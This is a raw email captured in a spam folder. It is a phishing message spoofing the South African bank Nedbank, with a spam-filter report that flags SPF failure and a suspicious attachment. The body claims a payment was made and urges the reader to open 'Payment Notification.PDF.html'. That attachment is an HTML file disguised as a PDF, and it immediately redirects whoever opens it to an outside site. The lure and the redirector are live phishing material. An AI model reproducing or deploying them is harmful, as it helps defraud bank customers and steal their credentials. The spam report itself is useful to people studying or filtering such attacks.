File: /home/govancoz/mail/.spam/new/1722920701.M390176P3860615.zacp120.ve.host,S=6078,W=6212
Return-Path: <notification@nedbank.co.za>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
by zacp120.ve.host with LMTP
id KFKJFf2usWaH6DoAvcbEzQ
(envelope-from <notification@nedbank.co.za>)
for <govancoz+spam@zacp120.ve.host>; Tue, 06 Aug 2024 07:05:01 +0200
Return-path: <notification@nedbank.co.za>
Envelope-to: danielle@govan.co.za
Delivery-date: Tue, 06 Aug 2024 07:05:01 +0200
Received: from 42-200-210-96.static.imsbiz.com ([42.200.210.96]:36872 helo=mail.refholdings.com.hk)
by zacp120.ve.host with esmtp (Exim 4.97.1)
(envelope-from <notification@nedbank.co.za>)
id 1sbCNV-0000000GCMo-2d4Q
for danielle@govan.co.za;
Tue, 06 Aug 2024 07:05:01 +0200
Received: from localhost (localhost [127.0.0.1])
by newuniversegroup.com (Postfix) with ESMTP id 1CB7A55C692B;
Tue, 6 Aug 2024 13:04:15 +0800 (HKT)
X-Virus-Scanned: amavisd-new at newuniversegroup.com
Received: from newuniversegroup.com ([127.0.0.1])
by localhost (mail.refholdings.com.hk [127.0.0.1]) (amavisd-new, port 10024)
with LMTP id NMGLLsYgs9FP; Tue, 6 Aug 2024 13:04:13 +0800 (HKT)
Received: from [192.168.0.3] (unknown [197.184.181.60])
by newuniversegroup.com (Postfix) with ESMTPA id 164E240F0402;
Tue, 6 Aug 2024 12:57:59 +0800 (HKT)
Content-Type: multipart/mixed; boundary="===============0076798703=="
MIME-Version: 1.0
To: Recipients <notification@nedbank.co.za>
From: Nedbank <notification@nedbank.co.za>
Date: Mon, 05 Aug 2024 21:57:55 -0700
X-Spam-Status: Yes, score=14.5
X-Spam-Score: 145
X-Spam-Bar: ++++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: A payment has been made to your account. To view the details
of the payment, please open the attached PDF file. You may require Adobe
Acrobat Reader on your computer to open the PDF file. Please do not reply
as this email was sent from an unattended mailbox.
Content analysis details: (14.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 TVD_RCVD_IP Message was received from an IP address
4.0 SPF_FAIL SPF: sender does not match SPF record (fail)
[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=notification%40nedbank.co.za;ip=42.200.210.96;r=zacp120.ve.host]
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags
0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[42.200.210.96 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[42.200.210.96 listed in sa-trusted.bondedsender.org]
3.5 PHISH_ATTACH Attachment filename suspicious, probable phishing
1.5 KAM_DMARC_QUARANTINE DKIM has Failed or SPF has failed on the
message and the domain has a DMARC
quarantine policy
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
0.0 TO_EQ_FM_DOM_SPF_FAIL To domain == From domain and external SPF
failed
1.2 TO_EQ_FM_SPF_FAIL To == From and external SPF failed
X-Spam-Flag: YES
Subject: ***SPAM*** Payment Notification
You will not see this in a MIME-aware mail reader.
--===============0076798703==
Content-Type: multipart/alternative; boundary="===============0328919027=="
MIME-Version: 1.0
--===============0328919027==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
A payment has been made to your account.
To view the details of the payment, please open the attached PDF file.
=
You may require Adobe Acrobat Reader on your computer to open the PDF file.
=
Please do not reply as this email was sent from an unattended mailbox.
--===============0328919027==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
<HTML><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859-=
1"></head><body><p>A payment has been made to your account.<br>
To view the details of the payment, please open the attached PDF file.<br>
<br>
You may require Adobe Acrobat Reader on your computer to open the PDF file.=
<br>
<br>
Please do not reply as this email was sent from an unattended mailbox.</p><=
/BODY></HTML>
--===============0328919027==--
--===============0076798703==
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="Payment Notification.PDF.html"
<!DOCTYPE html>
<meta http-equiv=3D"refresh" content=3D"00;https://aminsms.com/EPDoz">
<body class=3D"center">
</html>
--===============0076798703==--